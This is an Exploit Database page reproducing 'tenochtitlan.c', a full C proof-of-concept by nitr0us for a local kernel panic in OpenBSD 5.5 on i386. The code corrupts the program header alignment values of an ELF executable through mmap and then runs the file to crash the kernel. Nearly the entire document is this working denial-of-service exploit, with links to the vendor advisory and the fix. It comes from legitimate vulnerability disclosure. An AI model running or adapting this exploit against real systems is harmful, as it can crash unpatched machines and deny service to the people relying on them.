OpenBSD 5.5 – Local Kernel Panic (Denial of Service)

• Exploit Database
• 95 阅读

• 作者： nitr0us
  日期： 2014-10-25
• 类别：

  • dos
  平台：

  • bsd
• 来源：https://www.exploit-db.com/exploits/35058/

• /*
   * tenochtitlan.c
   *
   * OpenBSD <= 5.5 Local Kernel Panic
   * by Alejandro Hernandez (@nitr0usmx)
   *
   * Advisory and technical details:
   * http://www.ioactive.com/pdfs/IOActive_Advisory_OpenBSD_5_5_Local_Kernel_Panic.pdf
   *
   * Fix: http://www.openbsd.org/errata55.html#013_kernexec
   *
   * This PoC works only for i386.
   * 
   * Bug found with Melkor (ELF file format fuzzer)
   * https://github.com/IOActive/Melkor_ELF_Fuzzer
   *
   * Mexico / Oct 2014
   */
  
  #include <stdio.h>
  #include <string.h>
  #include <stdlib.h>
  #include <unistd.h>
  #include <fcntl.h>
  #include <sys/stat.h>
  #include <sys/mman.h>
  #include <sys/param.h>
  #include <sys/types.h>
  
  #ifndef__OpenBSD__
  	#error "Not an OpenBSD system !!!1111";
  #else
  #include <sys/exec_elf.h>
  #endif
  
  #ifndef __i386__
  	#error "Not an i386 system !!!1111";
  #endif
  
  // In Aztec mythology, Huitzilopochtli, was a god of war, a sun god, 
  // the patron of the city of Tenochtitlan, the Capital of the Aztec Empire.
  const char pyramid[] = 
  "_____\n"
  " _|[]_|_\n"
  " _/_/=|_\\_\\_\n"
  " _/_ /==| _\\ _\\_\n"
  " _/__ /===|_ _\\ __\\_\n"
  " _/_ _ /====| ___\\__\\_\n"
  " _/ __ _/=====|_ ___\\ ___ \\_\n"
  " _/ ___ _/======| ____ \\___ \\_\n";
  
  struct {
  	unsigned int idx;
  	Elf32_Word p_align;
  } targets[] = {
  	{ 6, 0xb16b00b5 }, // (*)(*)
  	{ 6, 0xdeadface },
  	{ 4, 0x00001001 },
  	{ 0, 0x00000004 }
  };
  
  int main(int argc, char **argv)
  {
  	Elf32_Ehdr *hdr;
  	Elf32_Phdr *pht; // Program Header Table
  	struct stat statinfo;
  	char *elfptr;
  	int fd, r;
  
  	if(argc < 2){
  		fprintf(stderr, "Usage: %s <elf_executable>\n", argv[0]);
  		exit(-1);
  	}
  
  	if((fd = open(argv[1], O_RDWR)) == -1){
  		perror("open");
  		exit(-1);
  	}
  
  	if(fstat(fd, &statinfo) == -1){
  		perror("stat");
  		close(fd);
  		exit(-1);
  	}
  
  	if((elfptr = (char *) mmap(NULL, statinfo.st_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0)) == MAP_FAILED){
  		perror("mmap");
  		close(fd);
  		exit(-1);
  	}
  
  	hdr = (Elf32_Ehdr *) (elfptr);
  	pht = (Elf32_Phdr *) (elfptr + hdr->e_phoff);
  
  	printf("[*] hdr->e_phoff:\t0x%.4x\n", hdr->e_phoff);
  	printf("[*] hdr->e_phnum:\t0x%.4x\n", hdr->e_phnum);
  
  	srand(time(NULL));
  	r = rand();
  
  	if(r % 3 == 0){
  #ifdef OpenBSD5_5
  		pht[targets[0].idx].p_align = targets[0].p_align;
  		printf("[*] PHT[%d].p_align = 0x%x\n", targets[0].idx, pht[targets[0].idx].p_align);
  #else // OpenBSD 5.2 didn't panic with 0xb16b00b5 in the last LOAD's p_align
  		pht[targets[1].idx].p_align = targets[1].p_align;
  		printf("[*] PHT[%d].p_align = 0x%x\n", targets[1].idx, pht[targets[1].idx].p_align);
  #endif
  	} else if(r % 3 == 1){
  		pht[targets[2].idx].p_align = targets[2].p_align;
  		printf("[*] PHT[%d].p_align = 0x%x\n", targets[2].idx, pht[targets[2].idx].p_align);
  	} else {
  		int p;
  
  		for(p = 0; p < hdr->e_phnum; p++, pht++)
  			if(pht->p_type == PT_LOAD){
  				pht->p_align = targets[3].p_align;
  				printf("[*] PHT[%d].p_align = 0x%x\n", p, pht->p_align);
  			}
  	}
  
  	// Synchronize the ELF in memory and the file system
  	if(msync(elfptr, 0, MS_ASYNC) == -1){
  		perror("msync");
  		close(fd);
  		exit(-1);
  	}
  
  	if(munmap(elfptr, statinfo.st_size) == -1){
  		perror("munmap");
  		close(fd);
  		exit(-1);
  	}
  
  	close(fd);
  
  	printf("%s", pyramid);
  
  	sleep(1);
  	system(argv[1]);
  
  	// Should never reach this point, however sometimes the OS didn't crash with
  	// system() until the 2nd execution. Same behavior with execl and execv too.
  	printf("... try to execute %s manually.\n", argv[1]);
  
  	return -1;
  }
  

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